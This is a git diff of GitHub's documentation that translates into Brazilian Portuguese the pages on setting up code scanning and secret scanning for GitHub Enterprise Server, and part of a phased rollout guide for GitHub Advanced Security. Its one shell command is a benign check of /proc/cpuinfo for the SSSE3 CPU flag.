+## Verificando se a sua licença inclui {% data variables.product.prodname_GH_advanced_security %}
 
 {% data reusables.advanced-security.check-for-ghas-license %}
 
-## Prerequisites for {% data variables.product.prodname_code_scanning %}
+## Pré-requisitos para {% data variables.product.prodname_code_scanning %}
 
-- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %}
+- Uma licença para {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (consulte "[Sobre cobrança para {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %}
 
-- {% data variables.product.prodname_code_scanning_capc %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)")
+- {% data variables.product.prodname_code_scanning_capc %} habilitado no console de gerenciamento (consulte "[Habilitando {% data variables.product.prodname_GH_advanced_security %} para a sua empresa](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)")
 
-- A VM or container for {% data variables.product.prodname_code_scanning %} analysis to run in.
+- Uma VM ou contêiner para que a análise de {% data variables.product.prodname_code_scanning %} seja executada.
 
-## Running {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_actions %}
+## Executar {% data variables.product.prodname_code_scanning %} usando {% data variables.product.prodname_actions %}
 
-### Setting up a self-hosted runner
+### Configurar um executor auto-hospedado
 
-{% data variables.product.prodname_ghe_server %} can run {% data variables.product.prodname_code_scanning %} using a {% data variables.product.prodname_actions %} workflow. First, you need to provision one or more self-hosted {% data variables.product.prodname_actions %} runners in your environment. You can provision self-hosted runners at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+{% data variables.product.prodname_ghe_server %} pode executar {% data variables.product.prodname_code_scanning %} usando um fluxo de trabalho de {% data variables.product.prodname_actions %}. Primeiro, você precisa fornecer um ou mais executores auto-hospedados de {% data variables.product.prodname_actions %} em seu ambiente. É possível fornecer executores auto-hospedados no nível da conta do repositório, organização ou empresa. Para obter mais informações, consulte "[Sobre executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)" e "[Adicionar executores auto-hospedados](/actions/hosting-your-own-runners/adding-self-hosted-runners)".
 
-You must ensure that Git is in the PATH variable on any self-hosted runners you use to run {% data variables.product.prodname_codeql %} actions.
+Você deve garantir que o Git esteja na variável do PATH em qualquer executor auto-hospedados que você usar para executar ações de {% data variables.product.prodname_codeql %}.
 
-### Provisioning the actions for {% data variables.product.prodname_code_scanning %}
+### Provisionando ações para {% data variables.product.prodname_code_scanning %}
 
 {% ifversion ghes %}
-If you want to use actions to run {% data variables.product.prodname_code_scanning %} on {% data variables.product.prodname_ghe_server %}, the actions must be available on your appliance.
+Se você deseja usar ações para executar {% data variables.product.prodname_code_scanning %} em {% data variables.product.prodname_ghe_server %}, as ações deverão estar disponíveis no seu dispositivo.
 
-The {% data variables.product.prodname_codeql %} action is included in your installation of {% data variables.product.prodname_ghe_server %}. If {% data variables.product.prodname_ghe_server %} has access to the internet, the action will automatically download the {% data variables.product.prodname_codeql %} bundle required to perform analysis. Alternatively, you can use a synchronization tool to make the {% data variables.product.prodname_codeql %} analysis bundle available locally. For more information, see "[Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access](#configuring-codeql-analysis-on-a-server-without-internet-access)" below.
+A ação {% data variables.product.prodname_codeql %} está incluída na sua instalação de {% data variables.product.prodname_ghe_server %}. Se {% data variables.product.prodname_ghe_server %} tiver acesso à internet, a ação fará automaticamente o download do pacote de {% data variables.product.prodname_codeql %} necessário para realizar a análise. Como alternativa, você pode usar uma ferramenta de sincronização para tornar o pacote de análise de {% data variables.product.prodname_codeql %} disponível localmente. Para obter mais informações, consulte "[Configurar {% data variables.product.prodname_codeql %} análise em um servidor sem acesso à internet](#configuring-codeql-analysis-on-a-server-without-internet-access)" abaixo.
 
-You can also make third-party actions available to users for {% data variables.product.prodname_code_scanning %}, by setting up {% data variables.product.prodname_github_connect %}. For more information, see "[Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %}](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions)" below.
+Você também pode disponibilizar ações de terceiros para os usuários de {% data variables.product.prodname_code_scanning %}, configurando {% data variables.product.prodname_github_connect %}. Para obter mais informações, consulte "[Configurar {% data variables.product.prodname_github_connect %} para sincronizar {% data variables.product.prodname_actions %}](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions)" abaixo.
 
-### Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access
-If the server on which you are running {% data variables.product.prodname_ghe_server %} is not connected to the internet, and you want to allow users to enable {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for their repositories, you must use the {% data variables.product.prodname_codeql %} action sync tool to copy the {% data variables.product.prodname_codeql %} analysis bundle from {% data variables.product.prodname_dotcom_the_website %} to your server. The tool, and details of how to use it, are available at [https://github.com/github/codeql-action-sync-tool](https://github.com/github/codeql-action-sync-tool/).
+### Configurar a análise de {% data variables.product.prodname_codeql %} em um servidor sem acesso à internet
+Se o servidor em que você está executando {% data variables.product.prodname_ghe_server %} não estiver conectado à internet e você deseja permitir que os usuários habilitem {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} para seus repositórios, você deverá usar a ferramenta de sincronização de ação {% data variables.product.prodname_codeql %} para copiar o pacote de análises {% data variables.product.prodname_codeql %} de {% data variables.product.prodname_dotcom_the_website %} para seu servidor. A ferramenta e os detalhes de como usá-la estão disponíveis em [https://github.com/github/codeql-action-sync-tool](https://github.com/github/codeql-action-sync-tool/).
 
-If you set up the {% data variables.product.prodname_codeql %} action sync tool, you can use it to sync the latest releases of the {% data variables.product.prodname_codeql %} action and associated {% data variables.product.prodname_codeql %} analysis bundle. These are compatible with {% data variables.product.prodname_ghe_server %}.
+Se você configurar a ferramenta de sincronização de ação de {% data variables.product.prodname_codeql %}, você poderá usá-la para sincronizar as últimas versões da ação de {% data variables.product.prodname_codeql %} e pacote de análise associado a {% data variables.product.prodname_codeql %}. Estes são compatíveis com {% data variables.product.prodname_ghe_server %}.
 
 {% endif %}
 
 
-### Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %}
-1. If you want to download action workflows on demand from {% data variables.product.prodname_dotcom_the_website %}, you need to enable {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling {% data variables.product.prodname_github_connect %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud#enabling-github-connect)."
-2. You'll also need to enable {% data variables.product.prodname_actions %} for {% data variables.product.product_location %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server)."
-3. The next step is to configure access to actions on {% data variables.product.prodname_dotcom_the_website %} using {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)."
-4. Add a self-hosted runner to your repository, organization, or enterprise account. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+### Configurar {% data variables.product.prodname_github_connect %} para sincronizar {% data variables.product.prodname_actions %}
+1. Se você deseja fazer o download dos fluxos de trabalho de ação sob demanda a partir de {% data variables.product.prodname_dotcom_the_website %}, você deverá habilitar o {% data variables.product.prodname_github_connect %}. Para obter mais informações, consulte "[Habilitar {% data variables.product.prodname_github_connect %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud#enabling-github-connect)".
+2. Você também precisa habilitar o {% data variables.product.prodname_actions %} para {% data variables.product.product_location %}. Para obter mais informações, consulte "[Primeiros passos com {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server)".
+3. A próxima etapa é configurar o acesso a ações no {% data variables.product.prodname_dotcom_the_website %} usando {% data variables.product.prodname_github_connect %}. Para obter mais informações, consulte "[Habilitar o acesso automático às ações de {% data variables.product.prodname_dotcom_the_website %} usando o {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)".
+4. Adicione um executor auto-hospedado ao seu repositório, organização ou conta corporativa. Para obter mais informações, consulte "[Adicionando executores auto-hospedados](/actions/hosting-your-own-runners/adding-self-hosted-runners)".
 
-## Running {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %}
-If you don't want to use {% data variables.product.prodname_actions %}, you can run {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %}. 
+## Executar {% data variables.product.prodname_code_scanning %} usando o {% data variables.product.prodname_codeql_runner %}
+Se você não quiser usar {% data variables.product.prodname_actions %}, você poderá executar {% data variables.product.prodname_code_scanning %} usando o {% data variables.product.prodname_codeql_runner %}.
 
-The {% data variables.product.prodname_codeql_runner %} is a command-line tool that you can add to your third-party CI/CD system. The tool runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. For more information, see "[Running {% data variables.product.prodname_code_scanning %} in your CI system](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)."
+O {% data variables.product.prodname_codeql_runner %} é uma ferramenta de linha de comando que você pode adicionar ao seu sistema CI/CD de terceiros. A ferramenta executa a análise do {% data variables.product.prodname_codeql %} em um checkout de um repositório do {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Executar o {% data variables.product.prodname_code_scanning %} no seu sistema de CI](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)".
diff --git a/translations/pt-BR/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md b/translations/pt-BR/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md
index 1ff1342d1f..924bb92e8b 100644
--- a/translations/pt-BR/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md
+++ b/translations/pt-BR/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring secret scanning for your appliance
-shortTitle: Configuring secret scanning
-intro: 'You can enable, configure, and disable {% data variables.product.prodname_secret_scanning %} for {% data variables.product.product_location %}. {% data variables.product.prodname_secret_scanning_caps %} allows users to scan code for accidentally committed secrets.'
+title: Configurar a varredura de segredo para o seu dispositivo
+shortTitle: Configurar a varredura de segredo
+intro: 'Você pode habilitar, configurar e desabilitar {% data variables.product.prodname_secret_scanning %} para {% data variables.product.product_location %}. {% data variables.product.prodname_secret_scanning_caps %} permite aos usuários fazer a varredura de códigos para os segredos que se confirmaram acidentalmente.'
 product: '{% data reusables.gated-features.secret-scanning %}'
 miniTocMaxHeadingLevel: 3
 redirect_from:
@@ -18,56 +18,54 @@ topics:
 
 {% data reusables.secret-scanning.beta %}
 
-## About {% data variables.product.prodname_secret_scanning %}
+## Sobre o {% data variables.product.prodname_secret_scanning %}
 
-{% data reusables.secret-scanning.about-secret-scanning %} For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)."
+{% data reusables.secret-scanning.about-secret-scanning %} Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning).
 
-## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %}
+## Verificando se a sua licença inclui {% data variables.product.prodname_GH_advanced_security %}
 
 {% data reusables.advanced-security.check-for-ghas-license %}
 
-## Prerequisites for {% data variables.product.prodname_secret_scanning %}
+## Pré-requisitos para {% data variables.product.prodname_secret_scanning %}
 
 
-- The [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470) (Supplemental Streaming SIMD Extensions 3) CPU flag needs to be enabled on the VM/KVM that runs {% data variables.product.product_location %}.
+- É necessário habilitar o sinalizador de CPU das [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470) (Extensões SIMD de Streaming Suplementar 3) no VM/KVM que executa {% data variables.product.product_location %}.
 
-- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %}
+- Uma licença para {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes > 3.0 %} (consulte "[Sobre cobrança para {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %}
 
-- {% data variables.product.prodname_secret_scanning_caps %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)")
+- {% data variables.product.prodname_secret_scanning_caps %} habilitado no console de gerenciamento (consulte "[Habilitando {% data variables.product.prodname_GH_advanced_security %} para a sua empresa](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)")
 
-### Checking support for the SSSE3 flag on your vCPUs
+### Verificar suporte para o sinalizador SSSE3 nos seus vCPUs
 
-The SSSE3 set of instructions is required because {% data variables.product.prodname_secret_scanning %} leverages hardware accelerated pattern matching to find potential credentials committed to your {% data variables.product.prodname_dotcom %} repositories. SSSE3 is enabled for most modern CPUs. You can check whether SSSE3 is enabled for the vCPUs available to your {% data variables.product.prodname_ghe_server %} instance.
+O conjunto de instruções das SSSE3 é necessário porque o {% data variables.product.prodname_secret_scanning %} alavanca o padrão acelerado de hardware que corresponde para encontrar possíveis credenciais confirmadas com os seus repositórios de {% data variables.product.prodname_dotcom %}. SSSE3 está habilitado para a maioria das CPUs modernas. Você pode verificar se o SSSE3 está habilitado para oa vCPUs disponíveis para sua instância de {% data variables.product.prodname_ghe_server %}.
 
-1. Connect to the administrative shell for your {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)."
-2. Enter the following command:
+1. Conecte ao shell administrativo para sua instância de {% data variables.product.prodname_ghe_server %}. Para obter mais informações, consulte "[Acessar o shell administrativo (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)".
+2. Insira o seguinte comando:
 
    ```shell
    grep -iE '^flags.*ssse3' /proc/cpuinfo >/dev/null | echo $?
    ```
 
-   If this returns the value `0`, it means that the SSSE3 flag is available and enabled. You can now enable {% data variables.product.prodname_secret_scanning %} for {% data variables.product.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning)" below.
+   Se ele retornar o valor `0`, significa que o sinalizador SSSE3 está disponível e habilitado. Agora você pode habilitar {% data variables.product.prodname_secret_scanning %} para {% data variables.product.product_location %}. Para obter mais informações, consulte "[Habilitar {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning)" abaixo.
 
-   If this doesn't return `0`, SSSE3 is not enabled on your VM/KVM. You need to refer to the documentation of the hardware/hypervisor on how to enable the flag, or make it available to guest VMs.
+   Se isso não retornar `0`, SSSE3 não está habilitado no seu VM/KVM. Você precisa consultar a documentação do hardware/hipervisor sobre como habilitar o sinalizador ou disponibilizá-lo para VMs convidados.
 
-## Enabling {% data variables.product.prodname_secret_scanning %}
+## Habilitar {% data variables.product.prodname_secret_scanning %}
 
 {% data reusables.enterprise_management_console.enable-disable-security-features %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.advanced-security-tab %}
-1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," click **{% data variables.product.prodname_secret_scanning_caps %}**.
-![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png)
+1. Em "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Segurança{% endif %}", clique em **{% data variables.product.prodname_secret_scanning_caps %}**. ![Caixa de seleção para habilitar ou desabilitar {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Disabling {% data variables.product.prodname_secret_scanning %}
+## Desabilitar {% data variables.product.prodname_secret_scanning %}
 
 {% data reusables.enterprise_management_console.enable-disable-security-features %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.advanced-security-tab %}
-1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," unselect **{% data variables.product.prodname_secret_scanning_caps %}**.
-![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/secret-scanning-disable.png)
+1. Em "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Segurança{% endif %}", desmarque **{% data variables.product.prodname_secret_scanning_caps %}**. ![Caixa de seleção para habilitar ou desabilitar {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/secret-scanning-disable.png)
 {% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/pt-BR/content/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise.md b/translations/pt-BR/content/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise.md
index 86d82736f6..1d1240e548 100644
--- a/translations/pt-BR/content/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise.md
+++ b/translations/pt-BR/content/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying GitHub Advanced Security in your enterprise
-intro: 'Learn how to plan, prepare, and implement a phased approach for rolling out {% data variables.product.prodname_GH_advanced_security %} (GHAS) in your enterprise.'
+title: Implantando o GitHub Advanced Security na sua empresa
+intro: 'Aprenda a planejar, preparar e implementar uma abordagem em fases para implantar {% data variables.product.prodname_GH_advanced_security %} (GHAS) na sua empresa.'
 product: '{% data reusables.gated-features.advanced-security %}'
 miniTocMaxHeadingLevel: 3
 versions:
@@ -14,409 +14,388 @@ topics:
   - Security
 ---
 
-## Overview of the deployment process
+## Visão geral do processo de implantação
 
 {% data reusables.security.overview-of-phased-approach-for-ghas-rollout %}
 
-For a high-level summary of these different phases, see "[Overview of {% data variables.product.prodname_GH_advanced_security %} Deployment](/admin/advanced-security/overview-of-github-advanced-security-deployment)."
+Para um resumo de alto nível dessas diferentes fases, consulte "[Visão geral da implantação de {% data variables.product.prodname_GH_advanced_security %}](/admin/advanced-security/overview-of-github-advanced-security-deployment). "
 
-Before starting your deployment, we recommend you review the prerequisites for installing GHAS and best practices for GHAS deployment in "[Overview of {% data variables.product.prodname_GH_advanced_security %} Deployment](/admin/advanced-security/overview-of-github-advanced-security-deployment)."
+Antes de iniciar a sua implantação, recomendamos que você reveja os pré-requisitos para a instalação do GHAS e as práticas recomendadas para implantar o GHAS em"[Visão geral da implantação de {% data variables.product.prodname_GH_advanced_security %}"](/admin/advanced-security/overview-of-github-advanced-security-deployment)".
 
-## {% octicon "milestone" aria-label="The milestone icon" %} Phase 0: Planning & kickoff
+## {% octicon "milestone" aria-label="The milestone icon" %} Fase 0: Planejamento & início
 
 {% note %}
 
-{% octicon "clock" aria-label="Clock" %} **Estimated timing:** We estimate that phase 0 may last roughly between 1-4 weeks. This range can vary depending on your release needs and any necessary approvals your company may need on the deployment plan.
+Tempo estimado de {% octicon "clock" aria-label="Clock" %} **:** Estimamos que a fase 0 pode durar aproximadamente entre 1 e 4 semanas. Esta faixa pode variar dependendo das necessidades da sua versão e quaisquer aprovações necessárias que a sua empresa pode precisar no plano de implantação.
 
 {% endnote %}
 
-The goal of the planning and kickoff phase is to ensure that you have all of your people, processes, and technologies set up and ready for implementing GHAS.
+O objetivo da fase de planejamento e arranque é garantir que você tenha as suas pessoas, processos e tecnologias configuradoas e prontas para a implantação do GHAS.
 
-To help you reach buy-in from the executive sponsor, we recommend preparing and aligning on a rollout plan and goals before releasing GHAS in your enterprise.
+Para o ajudar a comprar dinheiro do patrocinador executivo, recomendamos preparar-se e alinhar-se em um plano e objetivos implementados antes de lançar o GHAS na sua empresa.
 
-As a part of a phased rollout strategy, we recommend that you identify high-impact and critical teams or applications that should be targeted to join GHAS before the rest of your enterprise.
+Como parte de uma estratégia de implementação em fases, recomendamos que você identifique equipes ou aplicativos críticos de alto impacto que devem ser direcionados para se unir-se ao GHAS antes do restante da sua empresa.
 
-If a phased rollout doesn't work for your enterprise, you can skip to the [pilot project phase](#--phase-1-pilot-projects).
+Se uma implementação faseada não funcionar para a sua empresa, você poderá pular para a [fase do projeto piloto](#--phase-1-pilot-projects).
 
-If you’re working with {% data variables.product.prodname_professional_services %}, during this phase you will also establish a plan for how your teams will work together throughout the rollout and implementation process. The {% data variables.product.prodname_professional_services_team %} team can support you with the creation of the phased rollout plan and goals as needed.
+Se você está trabalhando com {% data variables.product.prodname_professional_services %}, durante esta fase, vocêtambém estabelecerá um plano sobre a forma como as suas equipes irão trabalhar em conjunto durante o processo de implementação. A equipe {% data variables.product.prodname_professional_services_team %} pode apoiar você com a criação do plano de implantação e metas faseadas, conforme necessário.
 
-### Step 1: Kickoff meeting with {% data variables.product.prodname_professional_services %} (optional)
+### Passo 1: Reunião inicial com {% data variables.product.prodname_professional_services %} (opcional)
 
-If you signed up for {% data variables.product.prodname_professional_services %}, you’ll begin the rollout and implementation process by meeting with your Services representative.
+Se você se inscreveu em {% data variables.product.prodname_professional_services %}, você começará o processo de implementação reunindo-se com o representante dos Serviços.
 
-If you haven't signed up for {% data variables.product.prodname_professional_services %}, you can skip to the next step.
+Se você não se inscreveu em {% data variables.product.prodname_professional_services %}, você pode pular para a próxima etapa.
 
-The goal of this meeting is to align the two teams on the necessary information to begin crafting a rollout and implementation plan that will work best for your company. In preparation for this meeting, we have created a survey that will help us better prepare for the discussion. Your Services representative will send you this survey.
+O objetivo desta reunião é alinhar as duas equipes com as informações necessárias para começar a criar um plano de implementação que funcione melhor para sua empresa. Na preparação desta reunião, criamos um estudo que irá nos ajudar a nos preparar melhor para o debate. Seu representante de serviços irá enviar-lhe esta pesquisa.
 
-To help you prepare for this initial meeting, review these topics.
+Para ajudar você a preparar-se para essa reunião inicial, revise esses tópicos.
 
--  Aligning on how your company and {% data variables.product.prodname_professional_services %} will work best together
-  - Setting expectations on how to best utilize service hours/days purchased
-  - Communications plans/frequency of meetings
-  - Roles and responsibilities
-- Review of how GHAS works within the Software Development Life cycle (SDLC). Your {% data variables.product.prodname_professional_services %} representative will explain how GHAS works.
-- Review of best practices for deploying GHAS. This is offered as a refresher if your team finds it valuable or if your enterprise did not participate in the Proof of Concept (POC) exercise. This review includes a discussion of your existing Application Security program and its level of maturity, against something like the DevSecOps maturity model.
--  Alignment on next steps for your GHAS deployment. Your {% data variables.product.prodname_professional_services %} representative will outline your next steps and the support you can expect from your partnership.
+-  Alinhar sobre como a sua empresa e {% data variables.product.prodname_professional_services %} trabalharão juntos da melhor forma
+  - Definindo expectativas sobre como utilizar melhor as horas/dias de serviço adquiridos
+  - Planos de comunicação/frequência das reuniões
+  - Funções e responsabilidades
+- Revise como o GHAS funciona dentro do ciclo de Vida do Desenvolvimento de Software (SDLC). O seu representante de {% data variables.product.prodname_professional_services %} explicará como o GHAS funciona.
+- Revisão das melhores práticas para a implantação do GHAS. Isso é oferecido como uma atualização se sua equipe considerar importante ou se a sua empresa não participou do exercício de Prova de Conceito (POC). Esta revisão inclui uma discussão sobre seu programa de Segurança de Aplicativos existente e seu nível de maturidade em comparação com algo como o modelo de maturidade do DevSecOps.
+-  Alinhamento nos próximos passos para sua implantação no GHAS. Seu representante de {% data variables.product.prodname_professional_services %} descreverá as suas próximas etapas e o apoio que você pode esperar de sua parceria.
 
-To help you plan your rollout strategy, you can also expect to discuss these questions:
-  - How many teams will be enabled?
-  - What is the anatomy of the teams’ repositories? (Tech stack, current tooling, etc.)
-    - Some of this might have already been covered during the Proof of Concept exercise if your company participated. If not, this is a crucial time to discuss this.
-   - What level of adoption do we expect to be organic, assisted, or inorganic?
-   - What does assisted adoption look like from a resourcing and documentation perspective?
-   - How will you manage inorganic adoption down the line? (For example, using policy enforcement or centrally managed workflows.)
+Para ajudar você a planejar sua estratégia de implementação, você também pode esperar discutir essas questões:
+  - Quantas equipes serão habilitadas?
+  - Qual é a anatomia dos repositórios das equipes? (Stack tecnológico, ferramenta atual, etc.)
+    - Parte disto pode já ter sido coberta durante o exercício da Prova de Conceito se a sua empresa participou. Em caso negativo, este é um momento crucial para discutir este assunto.
+   - Que nível de adoção esperamos ser orgânico, assistido ou inorgânico?
+   - Qual é a aparência da adoção assistida a partir de uma perspectiva de recursos e documentação?
+   - Como você vai gerir a adoção inorgânica mais adiante? (Por exemplo, usando aplicação da política ou fluxos de trabalho gerenciada centralmente.)
 
-### Step 2: Internal kickoff at your company
+### Etapa 2: Início interno na sua empresa
 
-Whether or not your company chooses to work with {% data variables.product.prodname_professional_services %}, we always recommend you hold your own kickoff meeting to align your own team(s).
+Independentemente de a sua empresa escolher ou não trabalhar com {% data variables.product.prodname_professional_services %}, recomendamos sempre que você realize sua própria reunião de início para alinhar sua(s) própria(s) equipe(s).
 
-During this kickoff meeting, it's important to ensure there is a clear understanding of goals, expectations, and that a plan is in place for how to move forward with your rollout and implementation.
+Durante essa reunião inicial, é importante garantir que haja uma clara compreensão dos objetivos, expectativas e que esteja em vigor um plano sobre como avançar com a sua implementação.
 
-In addition, this is a good time to begin thinking about training and preparations for your team to ensure they have the right tools and expertise to support the rollout and implementation of GHAS.
+Além disso, esse é um bom momento para começar a pensar na formação e preparação para a sua equipe, a fim de garantir que disponham das ferramentas e dos conhecimentos adequados para apoiar a implementação do GHAS.
 
-#### Topics for your internal kickoff meeting
+#### Tópicos para sua reunião inicial interna
 
-We recommend you cover these topics in your internal kickoff meeting at your company if you haven't already covered these with the same group in your kickoff meeting with {% data variables.product.prodname_professional_services %}.
+Recomendamos que você cubra estes tópicos na sua reunião inicial interna da sua empresa, caso ainda não tenha coberto esses tópicos com o mesmo grupo na sua reunião inicial com {% data variables.product.prodname_professional_services %}.
 
-- What are your business success metrics, how do you plan to measure and report on those measures?
-  - If these have not been defined, please define them. If they have been defined, communicate them and talk about how you plan to provide data-driven progress updates.
-- Review of how GHAS works within the SDLC (Software Development Life cycle) and how this is
-expected to work for your company.
-- Review of best practices if your company did not participate in the Proof of Concept exercise (or a refresher if your team finds value in this review)
-  - How does this compare/contrast with your existing Application Security Program?
-- Discuss and agree how your internal team will work best together throughout rollout and
-implementation.
-  - Align on your communications plans and frequency of meetings for your internal team
-  - Review tasks for rollout and implementation completion, defining roles and responsibilities. We have outlined the majority of the tasks in this article, but there may be additional tasks your company requires we have not included.
-  - Consider establishing a “Champions Program” for scaled enablement
-  - Begin discussing timing for the completion of tasks
-- Begin working on ideal rollout approaches that will work best for your company. This will include understanding a few important items:
-  - How many teams will be enabled? Some of this might have already been covered during the POC (Proof of Concept) exercise if your company participated. If not, this is a crucial time to discuss this.
-  - Of the critical applications identified for the initial rollout, how many are built on a technology supported by GHAS?
-  - How much organizational preparation is needed? To learn more, see "[Phase 2](#--phase-2-organizational-buy-in--rollout-preparation)."
+- Quais são suas métricas de sucesso de negócios, como você planeja medir e relatar essas medidas?
+  - Se estes não foram definidos, defina-os. Caso tenham sido definidos, comunique-os e fale sobre como você planeja fornecer atualizações de progresso orientados por dados.
+- Analise como o GHAS funciona dentro do SDLC (Ciclo de Vida e Desenvolvimento do Software) e como se espera que isso funcione para sua empresa.
+- Revise as práticas recomendadas se a sua empresa não participou do exercício da Prova de Conceito (ou de uma atualização, se sua equipe encontrar valor nesta revisão)
+  - Como isso pode ser comparado ou contrastado com seu Programa de Segurança de Aplicativos?
+- Discuta e concorde como sua equipe interna irá trabalhar melhor em conjunto durante a implementação.
+  - Alinhe nos seus planos de comunicação e frequência de reuniões para sua equipe interna
+  - Revise as tarefas de conclusão e execução, definindo funções e responsabilidades. Nós delineamos a maioria das tarefas neste artigo, mas pode haver tarefas adicionais que sua empresa requer que nós não incluímos.
+  - Considere estabelecer um "Programa de Campeões" para capacitação escalonada
+  - Comece a discutir tempo para concluir as tarefas
+- Comece a trabalhar em abordagens de implantação ideais que funcionarão melhor para sua empresa. Isto incluirá compreender alguns pontos importantes:
+  - Quantas equipes serão habilitadas? Parte disso já pode ter sido coberta durante o exercício POC (Prova de Conceito), caso a sua empresa tenha participado. Em caso negativo, este é um momento crucial para discutir este assunto.
+  - Dos aplicativos essenciais identificados para a implantação inicial, quantos são desenvolvidos com base em uma tecnologia compatível com o GHAS?
+  - Em que medida a preparação organizacional é necessária? Para saber mais, consulte "[Fase 2](#--phase-2-organizational-buy-in--rollout-preparation)".
 
-### Step 3: Prepare your rollout & implementation plan and goals
+### Etapa 3: Prepare sua implementação & plano de implementação e metas
 
-Before you can move forward with pilot project(s) for the first phase of the rollout, it’s crucial to ensure a rollout plan and business goals have been established for how your company plans to proceed.
